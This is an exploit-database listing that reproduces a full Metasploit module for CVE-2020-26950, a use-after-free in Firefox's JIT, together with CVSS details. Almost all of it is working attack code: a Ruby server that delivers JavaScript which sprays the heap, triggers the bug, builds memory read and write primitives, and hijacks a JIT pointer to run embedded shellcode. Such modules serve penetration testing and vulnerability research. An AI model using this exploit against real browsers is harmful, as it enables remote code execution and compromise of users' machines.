Firefox MCallGetProperty Write Side Effects Use-After-Free

2022.03.01
Credit: timwr
Risk: High
Local: No
Remote: Yes
CWE: CWE-416


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer::BrowserExploit def initialize(info = {}) super( update_info( info, 'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit', 'Description' => %q{ This modules exploits CVE-2020-26950, a use after free exploit in Firefox. The MCallGetProperty opcode can be emitted with unmet assumptions resulting in an exploitable use-after-free condition. This exploit uses a somewhat novel technique of spraying ArgumentsData structures in order to construct primitives. The shellcode is forced into executable memory via the JIT compiler, and executed by writing to the JIT region pointer. This exploit does not contain a sandbox escape, so firefox must be run with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order for the shellcode to run successfully. This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target. Additional work may be needed to support other versions such as Firefox 82.0.1. }, 'License' => MSF_LICENSE, 'Author' => [ '360 ESG Vulnerability Research Institute', # discovery 'maxpl0it', # writeup and exploit 'timwr', # metasploit module ], 'References' => [ ['CVE', '2020-26950'], ['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'], ['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => ['linux', 'windows'], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic', {}], ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS ], 'Stability' => [CRASH_SAFE] }, 'DisclosureDate' => '2020-11-18' ) ) end def create_js_shellcode shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded if (shellcode.length % 8 > 0) shellcode += "\x00" * (8 - shellcode.length % 8) end shellcode_js = '' for chunk in 0..(shellcode.length / 8) - 1 label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8] shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n" end shellcode_js end def on_request_uri(cli, request) print_status("Sending #{request.uri} to #{request['User-Agent']}") shellcode_js = create_js_shellcode jscript = <<~JS // Triggers the vulnerability function jitme(cons, interesting, i) { interesting.x1 = 10; // Make sure the MSlots is saved new cons(); // Trigger the vulnerability - Reallocates the object slots // Allocate a large array on top of this previous slots location. let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has // Avoid Elements Copy-On-Write by pushing a value target.push(i); // Write the Initialized Length, Capacity, and Length to be larger than it is // This will work when interesting == cons interesting.x1 = 3.476677904727e-310; interesting.x0 = 3.4766779039175e-310; // Return the corrupted array return target; } // Initialises vulnerable objects function init() { // arr will contain our sprayed objects var arr = []; // We'll create one object... var cons = function() {}; for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation) arr.push(cons); // ...then duplicate it a whole bunch of times // The number of times has two uses: // - Heap spray - Stops any already freed objects getting in our way // - Allows us to get the jitme function compiled for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons)); // Return the array return arr; } // Global that holds the total number of objects in our original spray array TOTAL = 0; // Global that holds the target argument so it can be used later arg = 0; evil = 0; // setup_prim - Performs recursion to get the vulnerable arguments object // arguments[0] - Original spray array // arguments[1] - Recursive depth counter // arguments[2]+ - Numbers to pad to the right reallocation size function setup_prim() { // Base case of our recursion // If we have reached the end of the original spray array... if(arguments[1] == TOTAL) { // Delete an argument to generate the RareArgumentsData pointer delete arguments[3]; // Read out of bounds to the next object (sprayed objects) // Check whether the RareArgumentsData pointer is null if(evil[511] != 0) return arguments; // If it was null, then we return and try the next one return 0; } // Get the cons value let cons = arguments[0][arguments[1]]; // Move the pointer (could just do cons.p481 = 481, but this is more fun) new cons(); // Recursive call res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 ); // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it if(res != 0) return res; // Otherwise, repeat the base case (delete an argument) delete arguments[3]; // Check if the next object has a null RareArgumentsData pointer if(evil[511] != 0) return arguments; // Return arguments if not // Otherwise just return 0 and try the next one return 0; } // weak_read32 - Bit-by-bit read function weak_read32(arg, addr) { // Set the RareArgumentsData pointer to the address evil[511] = addr; // Used to hold the leaked data let val = 0; // Read it bit-by-bit for 32 bits // Endianness is taken into account for(let i = 32; i >= 0; i--) { val = val << 1; // Shift if(arg[i] == undefined) { val = val | 1; } } // Return the integer return val; } // weak_read64 - Bit-by-bit read using BigUint64Array function weak_read64(arg, addr) { // Set the RareArgumentsData pointer to the address evil[511] = addr; // Used to hold the leaked data val = new BigUint64Array(1); val[0] = 0n; // Read it bit-by-bit for 64 bits for(let i = 64; i >= 0; i--) { val[0] = val[0] << 1n; if(arg[i] == undefined) { val[0] = val[0] | 1n; } } // Return the BigInt return val[0]; } // write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box function write_nan(arg, addr) { evil[511] = addr; for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box } // write - Write a value to an address function write(address, value) { // Set the fake ArrayBuffer backing store address address = dbl_to_bigint(address) target_uint32arr[14] = parseInt(address) & 0xffffffff target_uint32arr[15] = parseInt(address >> 32n); // Use the fake ArrayBuffer backing store to write a value to a location value = dbl_to_bigint(value); fake_arrbuf[1] = parseInt(value >> 32n); fake_arrbuf[0] = parseInt(value & 0xffffffffn); } // addrof - Gets the address of a given object function addrof(arg, o) { // Set the 5th property of the arguments object arg[5] = o; // Get the address of the 5th property target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7) // Set the fake ArrayBuffer backing store to point to this location target_uint32arr[14] = parseInt(target) & 0xffffffff; target_uint32arr[15] = parseInt(target >> 32n); // Read the address of the object o return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]); } // shellcode - Constant values which hold our shellcode to pop xcalc. function shellcode(){ #{shellcode_js} } // helper functions var conv_buf = new ArrayBuffer(8); var f64_buf = new Float64Array(conv_buf); var u64_buf = new Uint32Array(conv_buf); function dbl_to_bigint(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function bigint_to_dbl(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } function main() { let i = 0; // ensure the shellcode is in jit rwx memory for(i = 0;i < 0x5000; i++) shellcode(); // The jitme function returns arrays. We'll save them, just in case. let arr_saved = []; // Get the sprayed objects let arr = init(); // This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled let interesting = arr[arr.length - 10]; // Iterate over the vulnerable object array for (i = 0; i < arr.length; i++) { // Run the jitme function across the array corr_arr = jitme(arr[i], interesting, i); // Save the generated array. Never trust the garbage collector. arr_saved[i] = corr_arr; // Find the corrupted array if(corr_arr.length != 491) { // Save it for future evil evil = corr_arr break; } } if(evil == 0) { print("Failure: Failed to get the corrupted array"); return; } print("got the corrupted array " + evil.length); TOTAL=arr.length; arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480); old_rareargdat_ptr = evil[511]; print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16)); iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value counter = 0; // Used to prevent a while(true) situation while(counter < 0x200) { // Read the current address output = weak_read32(arg, bigint_to_dbl(iterator)); // Check if it's the expected size value for our ArgumentsObject object if(output == 0x1e10 || output == 0x1e20) { // If it is, then read the ArgumentsData pointer ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n)); // Get the pointer in ArgumentsData to RareArgumentsData ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n)); // ad_location + 8 points to the RareArgumentsData pointer, so this should match // We do this because after spraying arguments, there may be a few ArgumentObjects to go past if((ad_location + 8n) == ptr_in_argdat) break; } // Iterate backwards iterator = iterator - 8n; // Increment counter counter += 1; } if(counter == 0x200) { print("Failure: Failed to get AD location"); return; } print("AD location: " + ad_location.toString(16)); // The target Uint32Array - A large size value to: // - Help find the object (Not many 0x00101337 values nearby!) // - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes) target_uint32arr = new Uint32Array(0x101337); // Find the Uint32Array starting from the original leaked Nursery pointer iterator = dbl_to_bigint(old_rareargdat_ptr); counter = 0; // Use a counter while(counter < 0x5000) { // Read a memory address output = weak_read32(arg, bigint_to_dbl(iterator)); // If we have found the right size value, we have found the Uint32Array! if(output == 0x101337) break; // Check the next memory location iterator = iterator + 8n; // Increment the counter counter += 1; } if(counter == 0x5000) { print("Failure: Failed to find the Uint32Array"); return; } // Subtract from the size value address to get to the start of the Uint32Array arr_buf_addr = iterator - 40n; // Get the Array Buffer backing store arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n)); print("AB Location: " + arr_buf_loc.toString(16)); // Create a fake ArrayBuffer through cloning iterator = arr_buf_addr; for(i=0;i<64;i++) { output = weak_read32(arg, bigint_to_dbl(iterator)); target_uint32arr[i] = output; iterator = iterator + 4n; } // Cell Header - Set it to Nursery to pass isNursery() target_uint32arr[0x3fffa] = 1; // Write an unboxed pointer to arguments[0] evil[512] = bigint_to_dbl(arr_buf_loc); // Make it NaN-Boxed write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0] // From here we have a fake UintArray in arg[0] // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15] fake_arrbuf = arg[0]; // Get the address of the shellcode function object shellcode_addr = addrof(arg, shellcode); print("Function is at: " + shellcode_addr.toString(16)); // Get the jitInfo pointer in the JSFunction object jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_ print(" jitinfo: " + jitinfo.toString(16)); // We can then fetch the RX region from here rx_region = weak_read64(arg, bigint_to_dbl(jitinfo)); print(" RX Region: " + rx_region.toString(16)); iterator = rx_region; // Start from the RX region found = false // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode. for(i = 0; i < 0x800; i++) { data = weak_read64(arg, bigint_to_dbl(iterator)); if(data == 0x41414141n) { iterator = iterator + 8n; found = true; break; } iterator = iterator + 8n; } if(!found) { print("Failure: Failed to find the JIT start"); return; } // We now have a pointer to the start of the shellcode shellcode_location = iterator; print("Shellcode start: " + shellcode_location.toString(16)); // And can now overwrite the previous jitInfo pointer with our shellcode pointer write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location)); print("Triggering..."); shellcode(); // Triggering our shellcode is as simple as calling the function again. } main(); JS jscript = add_debug_print_js(jscript) html = %( <html> <script> #{jscript} </script> </html> ) send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' }) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top